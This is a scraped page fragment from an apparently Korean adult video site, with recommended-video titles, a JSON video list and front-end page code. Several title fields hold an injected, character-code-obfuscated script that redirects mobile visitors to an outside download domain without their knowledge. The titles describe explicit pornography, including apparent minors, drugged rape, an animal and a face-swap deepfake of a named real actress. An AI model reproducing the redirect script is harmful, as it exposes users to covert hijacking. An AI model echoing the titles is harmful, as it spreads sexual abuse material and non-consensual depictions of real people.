추천 영상
28:38
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>섹시한 검은 스타킹을 신은 이웃 여자가 호텔에서 건장한 남자를 속이고 쾌락을 즐긴다
30:47
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>안후이성 기혼 여성이 검은 스타킹을 신고 사람들로 둘러싸인 공공장소에서 진동 에그를 가지고 자위행위를 하고 있다.</title></script></title></script></title></script></title></script></title></title>
45:52
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>좋아하는 성숙한 여성 - 남자 주인공은 검은 스타킹을 신은 가슴이 큰 성숙한 여성과 관계를 맺었습니다.</script></title>
섹시한 검은 스타킹을 신은 이웃 여자가 호텔에서 건장한 남자를 속이고 쾌락을 즐긴다","lastmod":"2026-07-11","duration":"28:38","url":"/play/19165662.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjgyMDYyNDgzZTU3NTU2NDdhZjhjZjE0MDBkY2RlYzEuanBn.cache","vod_id":19162779,"title":"안후이성 기혼 여성이 검은 스타킹을 신고 사람들로 둘러싸인 공공장소에서 진동 에그를 가지고 자위행위를 하고 있다.","lastmod":"2026-07-11","duration":"30:47","url":"/play/19162779.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2EyOWZjNjE1MTVkNzg0N2M1MTlkMjQzNTNhYWQyZTQuanBn.cache","vod_id":19003614,"title":"이모가 라이브 방송에서 자신의 큰 가슴을 자랑했어요","lastmod":"2025-03-23","duration":"05:51","url":"/play/19003614.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTcvNjZmNjFmMWEyYjNjZjIwZTE3ZWYxZTM4NmNkOGNlNDEuanBn.cache","vod_id":19047468,"title":"흰 스타킹과 하이힐을 신은 금발 미녀가 복부에 총을 맞았다.","lastmod":"2025-08-16","duration":"13:55","url":"/play/19047468.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjc4ZjgzNTg1YTU2ZmEwODc3ZjRkNjUxZDZkOTJmNzIuanBn.cache","vod_id":18975638,"title":"매혹적인 젊은 여성이 검은 스타킹을 신고 침대에 누워 젊은 남성이 에센셜 오일로 마사지해주는 것을 즐기고 있었다. 그는 그녀의 가슴을 주무르고, 음부를 애무하고, 그녀에게 오럴 섹스를 강요한 후, 커다란 성기로 여러 체위로 그녀와 성관계를 가졌다.","lastmod":"2025-12-14","duration":"01:21:29","url":"/play/18975638.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzIxOTRkZDU4MTM3NDE1ZjZlNGQzYmJhNWNlM2YxMWEuanBn.cache","vod_id":19138992,"title":"오늘 발 마사지사는 꽤 괜찮았어요. 치파오를 입고 있었는데, 제가 그녀를 호텔로 데려가서 관계를 가졌죠. 그녀는 스타킹으로 갈아입고, 음부를 자극받은 후, 격렬한 삽입을 위해 하이힐을 신었어요.","lastmod":"2026-01-18","duration":"01:34:52","url":"/play/19138992.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2M5ZTRhM2YxZjIwYTZhNDA1Mjg5ODcxY2ZiZGFjZjYuanBn.cache","vod_id":19142483,"title":"섹시한 파란색 바디콘 스커트, 늘씬한 다리, 그리고 하이힐.","lastmod":"2026-02-09","duration":"01:14:56","url":"/play/19142483.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWMyYmE1MzJkODYzODRmYmY5MWVmOTFhMTQ1ZDQwZjIuanBn.cache","vod_id":18981672,"title":"스타킹과 하이힐을 신은, 풍만한 가슴을 가진 중년 여성이 늦은 밤, 남성 팬들이 지켜보는 가운데 젊은 남성과 열정적인 성관계를 갖는 모습이 나온다. 그녀는 격정적으로 그를 지배하며, 자신의 가슴을 주무르고, 그가 뒤에서 삽입할 때 신음한다.","lastmod":"2025-12-14","duration":"00:43:11","url":"/play/18981672.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvODRkZTNkMzgyMzk3ODRiYjFjZTUzNGEyYjRiYWM4ZmUuanBn.cache","vod_id":19161319,"title":"
좋아하는 성숙한 여성 - 남자 주인공은 검은 스타킹을 신은 가슴이 큰 성숙한 여성과 관계를 맺었습니다.","lastmod":"2026-07-11","duration":"45:52","url":"/play/19161319.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MjIvMDEwYjI1ZDZlYTEwZmJkN2M2ZDE5ZTRlZmIxMjlhZmMuanBn.cache","vod_id":19048367,"title":"AI가 생성한 딜라바 딜무라트의 검은 스타킹을 신은 여비서의 외롭고 음탕한 질의 얼굴 합성 이미지는 사장의 커다란 성기로 가려움을 해소하고 싶어합니다.","lastmod":"2025-08-21","duration":"06:43","url":"/play/19048367.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTY1MmYzMmQ4NDlkYWE4YzAyZTViY2VjNWZmMDZjZjcuanBn.cache","vod_id":18956042,"title":"검은 스타킹과 하이힐을 신은 섹시한 어린 창녀가 활기 넘치는 라이브 스트리밍에서 자신의 얼굴을 드러냅니다. 그녀의 섹시한 음부는 털이 거의 없고, 남자가 소품을 이용해 그녀의 큰 성기를 삽입하고 핥도록 내버려둔 채 허리를 숙여 격렬하게 관계를 갖습니다.","lastmod":"2025-12-14","duration":"01:40:57","url":"/play/18956042.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MjIvY2ZlZWU3NjAwYjNmMzM1M2NhOWU2NTZjYjhkNzQ1M2QuanBn.cache","vod_id":19034539,"title":"가슴이 큰 암컷 개와 어린 소녀가 열정적으로 자신의 음부를 보여주고 있다.","lastmod":"2025-05-22","duration":"14:38","url":"/play/19034539.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjczYzU2NWRlYTUzMWUyODc0NmUxODJjMTZiMWZhMzIuanBn.cache","vod_id":18937658,"title":"로리 같은 얼굴의 순진한 소녀 '샤오에'가 야외에서 진동기를 사용하며 검은 스타킹을 신고 발 페티시를 즐기며 매일 목욕하고 자위하며 하트 모양으로 음모를 다듬는 모습.","lastmod":"2025-12-14","duration":"00:36:15","url":"/play/18937658.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjgyYWQ3MmY3OWJhNWNhMDAzMTRjMWVkOTQyYjU0YzIuanBn.cache","vod_id":18958884,"title":"눈부시게 아름답고 육감적인 젊은 여성이 검은 스타킹과 가터벨트 탑을 입고 있었는데, 그녀의 크고 하얀 가슴을 가릴 수조차 없었다. 위에서 클로즈업한 사진은 그녀의 매혹적인 분홍빛 가슴을 드러냈다.","lastmod":"2025-12-14","duration":"00:54:18","url":"/play/18958884.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjllMzlmM2JjYzg5ODA4MzBlZjg2Y2EyNTVmYjEzMGUuanBn.cache","vod_id":18935879,"title":"해변가의 한 별장에서 수영복 차림의 날씬한 소녀가 여러 체위로 격렬하게 성관계를 당하며 땀을 흠뻑 흘리고 헐떡이고 있다.","lastmod":"2025-12-14","duration":"00:11:20","url":"/play/18935879.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTNiOTY1NWY2OTVmODNmMzFkZDhmOTgwYzY0NzAzOTMuanBn.cache","vod_id":19142107,"title":"쌍둥이 자매는 대낮에 야외 정자에서 대담하고 사실적으로 크고 분홍빛 가슴을 드러냈다.","lastmod":"2026-02-07","duration":"51:29","url":"/play/19142107.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2VlYTY0MTFiMTczOWZhYzA4MmVlY2Y4NWNiNjQ4ZjEuanBn.cache","vod_id":19006763,"title":"문란한 여비서는 딥 스로트 섹스와 거칠고 무분별한 성행위를 일삼았고, 퇴근 후에는 자신의 큰 가슴에 사정했다.","lastmod":"2025-03-24","duration":"06:44","url":"/play/19006763.html"}]},
videoTitle: '하이힐과 검은 스타킹을 신고, 큰 엉덩이와 풍만한 가슴을 가진 중년 여성이 약물을 투여받고 불효한 아들에게 잔혹하게 강간당했다.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}